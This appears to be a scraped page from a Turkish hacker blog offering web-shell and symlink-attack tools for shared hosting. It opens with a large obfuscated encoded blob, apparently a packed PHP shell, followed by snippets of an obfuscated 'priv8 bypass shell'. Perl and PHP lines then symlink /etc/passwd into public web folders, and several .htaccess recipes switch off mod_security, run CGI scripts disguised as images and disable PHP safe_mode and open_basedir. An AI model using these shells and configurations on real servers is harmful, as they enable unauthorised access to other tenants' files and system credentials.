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alVnRPIq</pre></div>

Symlink Sa 2.0 | 2012 yeni symlink priv8 bypass shell

Code: <?php /* Cod3d by Mr.Alsa3ek and Al-Swisre */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$...

Options +SymlinksIfOwnerMatch

Code: <Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,I...

cgi shell çalýþtýramadýðýnýzda symlink methodu

#!/usr/bin/perl -w symlink('/etc/passwd','/home/user/public_html/elearningpro21/dosya.txt');

PHP Symlink

<?php $target = '/etc/passwd'; $link = '/home/YOURPATH/site/etc_passwd.txt'; symlink($target, $link); ?> <?php $tar...

.htaccess for cgitelnet & symlink

<div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr> <td class="alt2" style="border: 1px inset;">Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*).mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack </td> </tr></tbody></table></div>.htacces <hr /># Created By TurkBlackhats # Generated By TR Options +Includes AddType text/html .shtml AddHandler server-parsed .shtml turk.shtml:  ln -s /et/passwd turk.txt <hr />options all Options +FollowSymLinks Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType text/plain .php AddHandler server-parsed .php   <hr />Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> SetEnv PHPRC /home/user/public_html/php.ini suPHP_ConfigPath /home/user/public_html/php.ini <hr />## START ## Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*)\.mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack ## milw0rmvn exploit ## php.ini: safe_mode=Off Disable_Functions=None Open_Basedir=None Safe_Exec_Dir=None Safe_Gid=None Safe_Include_Dir=None Sql.safe_mode=None cURL=Off MySQL=Off MSSQL=Off PostgreSQL=Off Oracle=Off <hr />## START ## Options +FollowSymLinks DirectoryIndex seees.html Options +Indexes Options +ExecCGI AddHandler cgi-script cgi pl wasRewriteEngine on RewriteRule (.*).was$ $1.was <hr /><IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> <Limit GET POST> order deny,allow deny from all allow from all </Limit> <Limit PUT DELETE> order deny,allow deny from all </Limit> SetEnv PHPRC /home/user/public_html/php.ini <hr />#START # Options +ExecCGI AddHandler cgi-script cgi pl x-zone Options +FollowSymLinks +Indexes DirectoryIndex default.html <hr /><IfModule mod_security.c> SecFilterEngine Off SecFilterSanPOST Off </IfModule> #START # Options +ExecCGI AddHandler cgi-script cgi pl tmt Options +FollowSymLinks DirectoryIndex seees.html Options +Indexes <hr />Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any

.htaccess for cgitelnet & symlink

Quote: Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*).mil$ $1.cgi Options +FollowSymLinks D...

Post Labels